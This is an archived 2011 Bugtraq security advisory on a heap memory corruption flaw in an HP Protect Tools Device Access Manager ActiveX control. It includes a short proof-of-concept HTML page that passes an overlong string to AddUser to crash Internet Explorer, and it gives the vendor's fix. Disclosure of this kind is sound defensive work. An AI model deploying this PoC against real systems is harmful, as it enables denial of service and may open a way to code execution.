bugtraq - Heap Memory Corruption in HP Device Access Manager for Protect Tools Information Store

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-Id: <20111202175143.BCA212C404B7@htbridge.ch>
Date: Fri,  2 Dec 2011 18:51:43 +0100 (CET)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: Heap Memory Corruption in HP Device Access Manager for Protect Tools
 Information Store

Vulnerability ID: HTB23044
Reference: https://www.htbridge.ch/advisory/heap_memory_corruption_in_hp_device_access_manager_for_protect_tools_information_store.html
Product: HP Device Access Manager for Protect Tools Information Store
Vendor: Hewlett-Packard
Vulnerable Version: Prior to v.6.1.0.1
Tested Version: 5.0.0.5
Vendor Notification: 26 August 2011 
Vulnerability Type: Heap Memory Corruption
Status: Fixed by Vendor
Risk level: Medium 
Credit: High-Tech Bridge SA Security Research Lab ( https://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
The AddUser(), AddUserEx(), RemoveUser(), RemoveUserByGuide(), RemoveUserEx() and RemoveUserRegardless() methods do not check the length of the SidString variable. 

An attacker could craft a HTML page to cause a denial of service attack against Internet Explorer. In a more dangerous scenario a heap memory corruption is trigerred which could lead in arbitrary code execution.

The following PoC code is available:

<HTML>
<BODY>
<object id="target"
classid="clsid:{1A6F1F9C-7986-4CAB-BD5E-0E0BC09DEE8B}"></object>
<SCRIPT language="JavaScript">
function Do_It()
{
  arg1=String(1044, "X")
  target.AddUser arg1
}
</SCRIPT>
<input  onclick="Do_It()" type="button" value="P0c">
</BODY>
</HTML> 

Solution: 
HPSBHF02723 SSRT100536: http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c03082368

HP has made HP Protect Tools Device Access Manager (PTDAM) for Windows updates available to resolve the vulnerability for products running PTDAM v6 software.

PTDAM v6.1.0.1 or subsequent is provided as a SoftPaq in the Download drivers and software page for each impacted product listed above.
To access the updated software, go to <a rel="nofollow" http://www.hp.com/ then
 - select support and drivers
 - go to drivers and software
 - enter the PC model number
 - select the Windows operating system version from the table
 - The Protect Tools Device Access Manager is available as a download from the Download drivers and software page
 - Choose the latest Device Access Manager for Protect Tools (v6.1.0.1 or subsequent)

Disclaimer: Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on the web page in Reference field.